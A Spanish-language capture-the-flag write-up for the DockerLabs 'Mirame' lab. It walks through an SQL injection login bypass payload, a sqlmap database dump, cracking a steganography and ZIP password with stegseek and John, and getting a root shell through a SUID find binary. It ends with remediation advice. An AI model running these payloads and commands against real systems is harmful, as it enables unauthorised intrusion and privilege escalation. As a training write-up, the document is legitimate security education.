Skip to content

Mirame

This content is not available in your language yet.

En este artículo se documenta la resolución completa de la máquina virtual Mirame, creada por maciiii___ y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo identificar patrones similares en otros entornos.

El proceso se desarrolla en tres fases:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial aprovechando vulnerabilidades en WordPress o aplicaciones web.
  3. Escalada de privilegios – Abuso de configuraciones inseguras (SUID, cron, sudo) para obtener privilegios de root.

⚠️ Aviso: Todas las acciones descritas se realizaron en un entorno controlado de laboratorio. No ejecutes pruebas intrusivas fuera de entornos autorizados.


AtributoDetalle
NombreMirame
Autormaciiii___
DificultadFácil
Fecha de creación12/08/2024
PlataformaDockerLabs

  1. Descomprimir el paquete descargado desde DockerLabs:

    Ventana de terminal
    unzip Mirame.zip
  2. Desplegar el contenedor con el script de instalación:

    Ventana de terminal
    sudo bash auto_deploy.sh Mirame.tar

El script levanta automáticamente el contenedor Docker y muestra la IP asignada al finalizar. Guarda esta dirección, ya que se utilizará durante el reconocimiento.


Creamos una estructura de carpetas para mantener orden y evidencia:

Ventana de terminal
mkdir -p Mirame/{content,exploits,nmap,scripts}
cd Mirame

💡 Consejo: Mantener los resultados organizados desde el inicio facilita la documentación y el análisis final.

IP asignada


Ejecutamos un barrido completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Resultados:

PuertoServicioDescripción
80/tcpHTTPSitio web principal (posible CMS)
22/tcpSSHServicio de conexión remota

Enumeramos rutas con Gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Rutas encontradas:

  • /index.php – Página principal del sitio.

Index

Gobuster solo listó el index.php, así que continuamos el análisis manualmente.


El formulario del index.php parece vulnerable a inyección SQL (SQLi). Probamos ingresando una comilla simple ' en cualquier campo y la aplicación arroja un error SQL.

user locate

Probamos un bypass de autenticación clásico:

Usuario: admin
Contraseña: ' or 1=1-- -

Con esto obtenemos acceso a una página de consulta meteorológica.

clima page

Dado que el formulario es vulnerable, utilizamos sqlmap para dumpear la base de datos:

Ventana de terminal
sqlmap -u "http://172.17.0.2/index.php" --forms --batch -D users -T usuarios --dump

dump users

Los resultados muestran varios usuarios y contraseñas. Tras probarlos en SSH y login web sin éxito, observamos un campo “directorio” sospechoso.


Accedemos al directorio mencionado y encontramos una imagen llamada miramebien.jpg.

directorio travieso navegador

  1. Revisamos metadatos con exiftool → sin resultados útiles.
  2. Probamos con steghide, que muestra presencia de datos ocultos pero requiere contraseña.

steghide error

  1. Usamos stegseek para crackear la contraseña:

    Ventana de terminal
    stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt

stegseek crack

La contraseña revelada permite extraer el archivo oculto ocultito.zip.


El archivo ZIP está protegido, por lo que generamos su hash y lo rompemos con John the Ripper:

Ventana de terminal
zip2john ocultito.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

john crack

Descomprimimos el ZIP y obtenemos las credenciales:

carlos:carlitos

Probamos en SSH y obtenemos acceso exitoso como el usuario carlos.

ssh acces


🧑‍💻 Paso 3 — Escalada de privilegios

Sección titulada «🧑‍💻 Paso 3 — Escalada de privilegios»

Buscamos binarios con el bit SUID activado:

Ventana de terminal
find / -perm -4000 2>/dev/null

Encontramos /usr/bin/find con permisos SUID.

perm 4000

Ejecutamos:

Ventana de terminal
find . -exec /bin/sh -p \; -quit

Acceso root conseguido.

root


  1. Formulario vulnerable → SQLi en index.php.
  2. Extracción de datos sensibles → usuarios y rutas mediante sqlmap.
  3. Ocultamiento de información → imagen con datos cifrados (steganografía).
  4. Crack de contraseñasstegseek + john.
  5. Acceso remoto → credenciales SSH válidas (carlos:carlitos).
  6. Escalada de privilegios → abuso del binario SUID find.

Tipo de vulnerabilidadDescripciónImpacto
SQL InjectionFalta de sanitización de entradas en el formulario principal.Compromiso total de la base de datos.
Exposición de archivosDirectorio accesible públicamente con información sensible.Fuga de datos e imágenes con secretos ocultos.
Configuración insegura de SUIDPermite ejecutar comandos como root.Escalada de privilegios completa.

  • Implementar sentencias preparadas (PDO / mysqli) para prevenir SQLi.
  • Restringir acceso a directorios y archivos mediante configuración de servidor.
  • Revisar y eliminar bits SUID innecesarios.
  • Implementar un control de contraseñas seguras y políticas de hash robustas.
  • Realizar pruebas de penetración periódicas para identificar configuraciones inseguras.